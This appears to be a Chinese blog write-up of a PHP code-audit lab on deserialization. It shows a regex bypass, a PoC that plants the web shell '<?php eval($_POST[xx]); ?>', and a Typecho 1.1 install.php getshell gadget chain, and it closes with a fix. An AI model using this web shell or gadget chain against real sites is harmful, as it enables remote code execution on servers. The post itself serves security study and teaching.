【漏洞练习-Day11】Typecho-1.1反序列化

开始练习【红日团队】的PHP-Audit-Labs 代码审计 Day11
链接:https://github.com/hongriSec/PHP-Audit-Labs
感兴趣的同学可以去练习练习
预备知识:
内容题目均来自 PHP SECURITY CALENDAR 2017
Day 11 - Pumpkin Pie代码如下:

class Template {
  public $cacheFile = '/tmp/cachefile';
  public $template = '<div>Welcome back %s</div>';

  public function __construct($data = null) {
    $data = $this->loadData($data);
    $this->render($data);
  }

  public function loadData($data) {
    if (substr($data, 0, 2) !== 'O:'
      && !preg_match('/O:\d:/', $data)) {
      return unserialize($data);
    }
    return [];
  }

  public function createCache($file = null, $tpl = null) {
    $file = $file ?? $this->cacheFile;
    $tpl = $tpl ?? $this->template;
    file_put_contents($file, $tpl);
  }

  public function render($data) {
    echo sprintf(
      $this->template,
      htmlspecialchars($data['name'])
    );
  }

  public function __destruct() {
    $this->createCache();
  }
}

new Template($_COOKIE['data']);

漏洞解析 :
题目考察对php反序列化函数的利用。在第10行loadData()函数中,我们发现了unserialize函数对传入的 $data 变量进行了反序列。在反序列化前,对变量内容进行了判断,先不考虑绕过,跟踪一下变量,看看变量是否可控。在代码 第6行 ,调用了loadData()函数,$data变量来自于 __construct()构造函数传入的变量。代码第36行,对 Template类进行了实例化,并将cookie 中键为'data'数据作为初始化数据进行传入,$data数据我们可控。开始考虑绕过对传入数据的判断。

代码11行第一个if,截取前两个字符,判断反序列化内容是否为对象,如果为对象,返回为空。php可反序列化类型有String,Integer,Boolean,Null,Array,Object。去除掉Object后,考虑采用数组中存储对象进行绕过。

第二个if判断,匹配 字符串为 'O:任意十进制:',将对象放入数组进行反序列化后,仍然能够匹配到,返回为空,考虑一下如何绕过正则匹配,PHP反序列化处理部分源码如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在PHP源码var_unserializer.c,对反序列化字符串进行处理,在代码568行对字符进行判断,并调用相应的函数进行处理,当字符为'O'时,调用yy13函数,在 yy13函数中,对‘O‘字符的下一个字符进行判断,如果是':',则调用yy17函数,如果不是则调用 yy3函数,直接return 0,结束反序列化。接着看 yy17函数。通过观察yybm[]数组可知,第一个if判断是否为数字,如果为数字则跳转到yy20函数,第二个判断如果是'+'号则跳转到 yy19,在yy19中,继续对+号 后面的字符进行判断,如果为数字则跳转到 yy20 ,如果不是则跳转到 yy18yy18最终跳转到yy3,退出反序列化流程。由此,在'O:',后面可以增加'+',用来绕过正则判断。

绕过了过滤以后,接下来考虑怎样对反序列化进行利用,反序列化本质是将序列化的字符串还原成对应的类实例,在该过程中,我们可控的是序列化字符串的内容,也就是对应类中变量的值。我们无法直接调用类中的函数,但PHP在满足一定的条件下,会自动触发一些函数的调用,该类函数,我们称为魔术方法。通过可控的类变量,触发自动调用的魔术方法,以及魔术方法中存在的可利用点,进而形成反序列化漏洞的利用。

在代码32行:

  public function __destruct() {
    $this->createCache();
  }

对象销毁时会调用 createCache()函数.

  public function createCache($file = null, $tpl = null) {
    $file = $file ?? $this->cacheFile;
    $tpl = $tpl ?? $this->template;
    file_put_contents($file, $tpl);
  }

函数将 $template 中的内容放到了 $cacheFile对应的文件中。
file_put_contents()函数,当文件不存在时,会创建该文件。由此可构造一句话,写入当前路径。

file_put_contents() 函数

功能:

file_put_contents() 函数把一个字符串写入文件中。

定义:

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

说明:
参数 描述
file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 必需。规定要写入文件的数据。可以是字符串、数组或数据流。
mode 可选。规定如何打开/写入文件。可能的值:
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

代码中$cacheFile$template为类变量,反序列化可控,由此,构造以下反序列化内容,别忘了加'+'

扫描二维码关注公众号,回复: 8943742 查看本文章

范例:

<?php
class Template{
public $cacheFile ='./test.php';
public $template='<?php eval($_POST[xx]); ?>';
	}
$temp=new Template();
$test=Array($temp);
print(serialize($test));

?>

结果:

a:1:{i:0;O:8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}

放入cookie需进行URL编码

文件成功写入:
在这里插入图片描述

实例分析:

本次实例分析,我们选取的是 Typecho-1.1 版本 。

漏洞POC 本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

漏洞分析:

在该版本中,用户可通过反序列化Cookie数据进行前台Getshell。该漏洞出现于install.php文件230行,具体代码如下:

<?php
 $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
 Typecho_Cookie::delete('__typecho_config');
  $db = new Typecho_Db($config['adapter'], $config['prefix']);
  $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
  Typecho_Db::set($db);
  ?>

在上面代码第3行 ,对Cookie中的数据base64解码以后,进行了反序列化操作,该值可控,接下来看一下代码触发条件(58-76行)。文件几个关键判断如下:

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
	if (!empty($parts['port'])) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }

第一个if判断,可通过GET传递 finish=任意值 绕过。
第二if判断是否有GET或者POST传参,并判断Referer是否为空,
第四个if判断 Referer是否为本站点。
紧接着还有判断,如下代码:

<?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
<h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1>
<div class="typecho-install-body">
    <form method="post" action="?config" name="config">
    <p class="message error"><?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
    </form>
</div>
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
<h1 class="typecho-install-title"><?php _e('没有安装!'); ?></h1>
<div class="typecho-install-body">
    <form method="post" action="?config" name="config">
    <p class="message error"><?php _e('您没有执行安装步骤,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 &raquo;'); ?></button></p>
    </form>
</div>
<?php else : ?>

第一个if判断 $_GET['finish']是否设置,
然后判断 config.inc.php文件 是否存在,安装后已存在,
第三个判断 cookie__typecho_config参数是否为空,不为空。进入else分支。综上,具体构造如下图:
在这里插入图片描述

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);

反序列化结果存储到$config 变量中,然后将$config['adapter']$config['prefix']作为 Typecho_Db类的初始化变量创建类实例。我们可以在 var/Typecho/Db.php文件中找到该类构造函数代码,具体如下(114-135行):

  public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

上图代码 第7行 ,对传入的 $adapterName变量进行了字符串拼接操作,对于PHP而言,如果 $adapterName类型为对象,则会调用该类 __toString()魔术方法。可作为反序列化的一个触发点,我们全局搜索一下__toString(),查看是否有可利用的点。实际搜索时,会发现有三个类都定义了 __toString()方法:
在这里插入图片描述

  • 第一处 var\Typecho\Config.php:
  public function __toString()
    {
        return serialize($this->_currentConfig);
    }

调用serialize()函数进行序列化操作,会自动触发__sleep(),如果存在可利用的__sleep(),则可以进一步利用。

  • 第二处 var\Typecho\Db\Query.php:
   public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                . $this->_sqlPreBuild['table']
                . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }
                return 'UPDATE '
                . $this->_sqlPreBuild['table']
                . ' SET ' . implode(' , ', $columns)
                . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
    }

该方法用于构建SQL语句,并没有执行数据库操作,所以暂无利用价值。

  • 第三处var\Typecho\Feed.php:

在这里插入图片描述
在代码 19行$this->_items为类变量,反序列化可控,在代码 27行$item['author']->screenName,如果$item['author']中存储的类没有'screenName'属性或该属性为私有属性,此时会触发该类中的 __get()魔法方法,这个可作为进一步利用的点,继续往下看代码,未发现有危险函数的调用。

记一波魔术方法及对应的触发条件,具体如下:

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

var/Typecho/Request.phpTypecho_Request类中,我们发现 __get() 方法,跟踪该方法的调用,具体如下图:
在这里插入图片描述
array_map()函数和call_user_func函数,都可以作为利用点,$filter作为调用函数,$value为函数参数,跟踪变量,看一下是否可控。这两个变量都来源于类变量,反序列化可控。从上面的分析中,可知当$item['author']满足一定条件会触发 __get方法。

假设$item['author']中存储 Typecho_Request类实例,此时调用$item['author']->screenName,在Typecho_Request类中没有该属性,就会调用类中的__get($key)方法,$key传入的值为 scrrenName 。参数传递过程如下:$key='scrrenName'=>$this->_param[$key]=>$value

我们将$this->_param['scrrenName']的值设置为想要执行的函数,构造$this->_filter 为对应函数的参数值,具体构造如下:
在这里插入图片描述
接下来我们去看一下 Typecho_Feed类的构造,该类在var/Typecho/Feed.php 文件中,代码如下:
在这里插入图片描述
上图代码第7行 ,满足self::RSS2$this->_type相等进入该分支,所以 $this->_type需要构造,item['author']为触发点,需要构造 $this_items ,具体构造如下:
在这里插入图片描述

漏洞利用:

代码22行在实际利用没必要添加,install.php在代码54行 调用 ob_start()函数,该函数对输出内容进行缓冲,反序列化漏洞利用结束后,在var\Typecho\Db.php代码121行,触发异常,在var\Typecho\Common.php代码237行调用ob_end_clean()函数 清除了缓冲区内容,导致无法看见执行结果,考虑在进入到异常处理前提前报错结束程序。由此构造该数据。执行结果如下:
在这里插入图片描述

修复建议:

造成该漏洞的原因主要有两点:

  • config.inc.php文件存在的时,可绕过判断继续往下执行代码。
  • 传入反序列化函数的参数可控
    修复方法:在 install.php 文件第一行判断 config.inc.php是否存在,如果存在,则退出代码执行。
<?php 
if (file_exists(dirname(__FILE__) . '/config.inc.php'))
    exit('Access Denied');
?>

结语

再次感谢【红日团队】

发布了35 篇原创文章 · 获赞 19 · 访问量 5189

猜你喜欢

转载自blog.csdn.net/zhangpen130/article/details/104016683